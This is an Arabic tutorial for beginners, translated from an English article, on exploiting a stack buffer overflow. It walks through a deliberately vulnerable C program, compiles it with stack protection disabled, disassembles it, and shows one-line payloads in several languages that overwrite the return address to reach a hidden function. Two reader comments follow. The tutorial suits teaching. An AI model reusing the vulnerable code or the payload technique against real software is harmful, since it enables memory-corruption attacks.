مقال : مثال عملي على ثغرات Buffer Overflow
يوجد العديد من المصادر على الأنترنت التي تهتم وتركز على استغلال الملفات الثنائية binary files من خلال ثغرات buffer overflow ولكنها تحوي على أداوت قديمة (إصدارات قديمة من gcc او linux) وهذا يجعل عملية تشغيل البرنامج المصاب بثغرة Buffer overflow أمر صعب وبحاجة لمتطلبات متعددة.
هذا المقال هو للأشخاص المبتدئين والجدد في مجال binary exploitation .
هذا المقال سيناقش الأمور الأساسية وسوف نقوم بعملية استغلال ثغرة buffer overflow من خلال طفح المكدس smashing the stack وتعديل return address الخاص بالدالة.
وهذا سيتم من خلال استدعاء بعض الدوال الأخرى.
المتطلبات:
- أفترض أنك على معرفة بأساسيات لغة البرمجة C
- وأنك على معرفة ب gcc (مجمع compiler) وتعليمات نظام لينكس.
- وأنك على معرفة بأساسيات x68 assembly language
البرامج في هذا المقال تمت كتابتها في نظام تشغيل لينكس وتم تحويلها لملفات تنفيذية باستخدام gcc
البرنامج الذي يحوي على الثغرة:
#include <stdio.h>
void secretFunction()
{
printf(“Congratulations!\n”);
printf(“You have entered in the secret function!\n”);
}
void echo()
{
char buffer[20];
printf(“Enter some text:\n”);
scanf(“%s”, buffer);
printf(“You entered: %s\n”, buffer);
}
int main()
{
echo();
return 0;
}
هذا البرنامج يبدو على أنه برنامج سليم وآمن بالنسبة لمبرمج عادي ولكن في الحقيقة يمكننا استدعاء الداله secretFunction من خلال تعديل input ويوجد طرق أفضل إذا كان الملف الثنائي محلي بحيث يمكننا استخدام gdb لتعديل %eip ولكن في الحالة التي يعمل فيها الملف الثنائي كخدمة على بعض الأجهزة الأخرى يمكننا استدعاء دوال أخرى أو تنفيذ كود مخصص لتعديل input.
Memory Layout of a C program:
لنبدأ بفحص تصميم الذاكرة لبرنامج مكتوب بلغة C وبشكل خاص المكدس stack فهو يعمل خلال استدعاء التوابع وخلال إعادة نتيجة تنفيذ التوابع ويمكنه التعديل على المسجلات esp , ebp في الجهاز.
1- Command line arguments and environment variables: وهي عباره عن بارامترات سطر الأوامر ومتغيرات البيئة, يتم تمرير البارامترات إلى البرنامج قبل تشغيل البرنامج ومتغيرات البيئة يتم تخزينها في هذا الجزء.
2- المكدس stack: هو المكان الذي توجد فيه كل بارامترات الدوال والعناوين المعادة والمتغيرات المحلية للتوابع, ويعمل بطريقة LIFO – Last Input First Output أول قيمة يتم إدخالها هي أخر قيمة يتم إخراجها. وهو يتمدد باتجاه الأسفل في الذاكرة في حاله تم ادخال بيانات اليه (من أعلى عنوان إلى أدنى عنوان)
3- heap: كل الذاكرة التي يتم تخصيصها بشكل اتوماتيكي تتبقى هنا حتى ولو استخدمنا دالة malloc من أجل الحصول على ذاكرة بشكل متغير فسيتم تخصيصها من heap وهو يتمدد باتجاه الأعلى في الذاكرة (من أدنى عنوان إلى أعلى عنوان)
4- Uninitialized data (Bss Segment): كل البيانات الغير مخصصة يتم تخزينها هنا ويحتوي على المتغيرات العامة والثابتة الغير مخصصة من قبل المبرمج. النواة تخصص القيمة 0 لها بشكل افتراضي.
5- initialized data (Data Segment): كل البيانات المخصصة يتم تخزينها هنا, وهو يحوي على المتغيرات العامة والثابتة التي تم تهيئتها من قبل المبرمج.
6- text: هذا الجزء يحوي على الكود التنفيذي الذي يتم حفظه. loader يقوم بتحميل التعليمات من هنا ويقوم بتنفيذها وعادةً ما يكون معد للقراءة فقط.
بعض المسجلات الشائعة:
1- %eip: The Instruction pointer register يقوم بحفظ عنوان التعليمة التالية ليتم تنفيذها وبعد تنفيذ كل تعليمة يتم زيادة هذه القيمة بحسب حجم التعليمة.
2- %esp: The Stack pointer register يقوم بحفظ عنوان أعلى قيمة بالمكدس top of the stack وهذه العنوان هو لأخر عنصر تم إضافته للمكدس.
3- %ebp: The Base pointer register هذا المسجل يقوم بضبط %esp لبداية الدالة وهذا يتم من أجل المحافظة على علامات التبويب الخاصة ببارامترات الدالة والمتغيرات المحلية local variables
يتم الوصول إلى المتغيرات المحلية من خلال طرح قيمة offsets من %ebp وبارامترات الدالة يمكن الوصول إليها من خلال إضافة قيمة offsets إلى %ebp
إدارة الذاكرة خلال استدعاء التوابع:
لنفترض أن لدينا الكود التالي:
void func(int a, int b)
{
int c;
int d;
// some code
}
void main()
{
func(1, 2);
// next instruction
}
لنفترض أن %eip يشير إلى الدالة func الذي تم استدعائها من قبل الدالة الرئيسية main
سيتم اتباع الخطوات التالية:
1- إذا كانت الدالة المستدعى موجود، سيتم إدخال برامتراته إلى المكدس من اليمين إلى اليسار (بترتيب عكسي) سيتم إدخال القيمة 2 قبل القيمة 1
2- يجب أن نعرف العنوان الذي سيتم إعادة نتيجة تنفيذ الدالة func إليه، من أجل إدخال هذا العنوان إلى التعلمية التالية في المكدس.
3- إيجاد عنوان الدالة واسناد هذا العنوان إلى المؤشر %eip ويتم انتقال التحكم إلى الدالة
4- عندما نكون في الدالة func نحتاج لتحديث قيمة %ebp وقبل التحديث يجب أن نحفظها في المكدس لنتمكن من استعادتها لاحقاً في الدالة الرئيسي main لذلك يتم إدخال %ebp إلى المكدس.
5- ضبط %ebp لتساوي esp % حيث أن ebp % يشير الآن إلى مؤشر المكدس الحالي.
6- إدخال المتغيرات المحلية إلى المكدس وحجز مسافات لها في المكدس وفي هذه الخطوة سوف يتغير %esp
7- بعد انتهاء الدالة func يجب أن نقوم بإعادة ضبط المكدس السابق لذلك نقوم بضبط %esp ليعود ويأخذ قيمة %ebp ومن ثم نقوم بسحب قيمة %ebp السابقة من المكدس وإعادة حفظها في %ebp
لذلك سوف يعود مؤشر المسجل الرئيسي ليؤشر إلى مكانه في الدالة الرئيسي main
8- معرفة return address من المكدس وإسناده إلى %eip وعندها سوف يعود التحكم إلى الدالة الرئيسي main وذلك بعد استدعاء الدالة func
الشكل التالي يظهر المكدس خلال استدعاء الدالة func :
ثغرة Buffer overflow:
هذه الثغرة تحدث في المستوى المنخفض من الكود في لغة C and C++, المهاجم يستطيع جعل البرنامج ينهار وقادر على تخريب البيانات وسرقت بعض المعلومات الحساسة أو يمكنه أيضاً أن يقوم بتشغيل كوده الخاص. وهذا يعني أنه قادر على الوصول إلى الـ buffer خارج المساحة الذاكرية المخصصة. هذا يحدث عادةً في الحالات التي تحوي على مصفوفات arrays.
المتغيرات يتم حفظها في stack/heap
الوصول إلى أي العناوين الغير مقيدة يسمح بالقراءة أو الكتابة من البايتات الخاصة بالمتغيرات الأخرى. عادةً ينهار البرنامج ولكن يمكننا استخدام بعض المهارات البرمجية للقيام بالهجمات السابقة. يجب أن نقوم بتعديل العنوان المعاد ومحاولة تنفيذ هذا العنوان.
لنقم بعملية compile للكود الخاص بالبرنامج المصاب بهذه الثغرة.
يمكننا القيام بهذه العملية باستخدام gcc وهو عبارة عن compiler وموجود بشكل تلقائي في الكالي
For 32 bit systems
gcc vuln.c -o vuln -fno-stack-protector
For 64 bit systems
gcc vuln.c -o vuln -fno-stack-protector -m32
-fno-stack-protector: تقوم بتعطيل حماية المكدس (تحطيم المكدس مسموح به الان)
-m32: للتأكد أن عملية التجميع الثنائي compiled binary ستتم لأنظمة 32 bit
يمكننا الآن تشغيل هذا البرنامج باستخدام التعليمة التالية:
Enter some text:
HackIt!
You entered: HackIt!
لنبدأ بعملية الاستغلال للملف الثنائي، في البداية يجب أن نقوم بعملية تفكيك disassembly لهذا الملف باستخدام objdump
objdump -d vuln
هذه التعليمة سوف تقوم بتفكيك كامل الملف، سوف نركز فقط على الأجزاء المهمة لنا،
هذه الناتج يمكن أن تختلف لديك.
الاستنتاجات:
عنوان secretFunction هو 080489d وهو مكتوب بشكل سته عشري hex
0804849d <secretFunction>:
سيتم حجز 38 بايت في حاله hex او 56 في حاله decimal للمتغيرات المحلية في الدالة echo
80484c0: 83 ec 38 sub $0x38,%esp
العنوان الخاص بالفر يبدأ من 1c في حاله hex او 28 في حاله decimal قبل %ebp وهذا يعني أن 28 bytes محجوز كبفر حتى لو طلبنا 20 bytes
80484cf: 8d 45 e4 lea -0x1c(%ebp),%eax
تصميم payload:
الان نحن نعرف أنه قد تم حجز 28 bytes مساحة buffer.
4 bytes التالية سيتم حفظها في %ebp وال 4 bytes التي تليها ايضا سوف تحفظ return address (العنوان الذي سيقفز له المؤشر %eip بعد الانتهاء من الداله ) في البداية: 28 + 4 = 32 bytes ويمكن أن تكون أي أحرف عشوائية والبايتات الأربعة التالية ستكون عنوان الدالة secretFunction.
تنبيه: المسجلات registers تكون عبارة عن 4 bytes أو عبارة عن 32 bits كأرقام ثنائية يتم تجميعها لأنظمة 32 bit
عنوان الدالة secretFunction هو 0804849d بنظام hex , الان وبالاعتماد على جهازنا فيما إذا كان little-endian or big-endian يجب أن نقرر النمط المناسب للعنوان. إذا كان الجهاز little-endian فسوف نحتاج أن نضع البايتات بترتيب عكسي كالعنوان التالي:
9d 84 04 08
السكريبتات التالية تقوم بتوليد payloads في الترمنال ، يمكنك استخدام اللغة المفضلة لديك.
ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘
python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘
perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘
php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’
ملاحظة: قمنا بكتابة \x9d لأن 9d ممثلة بنظام العد السداسي عشري.
يمكننا نقل payload بشكل مباشر إلى الملف الثنائي vuln
ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln
python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln
perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘ | ./vuln
php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’ | ./vuln
وهذه هي النتيجة التي سنحصل عليها:
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<rubbish 3 bytes>
Congratulations!
You have entered in the secret function!
Illegal instruction (core dumped)
تمكنا من استغلال الثغرة والحصول على العنوان المعاد وتم استدعاء الدالة secretFunction
توابع لغة C المصابة بثغرة Buffer Overflow:
- gets
- scanf
- sprintf
- strcpy
في كل مرة تستخدم فيها buffers يجب أن تنتبه حجمه ليتم التعامل معه بشكل مناسب.
ترجمة بتصرف لمقال : Buffer Overflow Exploit لصاحبها Dhaval Kapil
مشكور على موضوع جميل لكن انا ريت ان اختبار الاختراق يرتكز 99% على الاسمبلي لانها هي لتخليك تتحكم في ذاكرة ومعرفة كل شئ عنهاااا نتمنى لو تعملوووااا دورة اسمبلي لان محتوى عربي قليل جدااا جداا في هده لغة
ابحث في اليوتيوب عن “دورة exploit development x86” ، صاحب الدورة شرحه سهل جدا ويعلمك أساسيات اكتشاف ثغرات البفر اوفر فلو بدون ما تكون محترف بالأسمبلي ، على عكس موقع آي سيكيوريتي اللي كله استعراض مهارات وتعقيد للأمور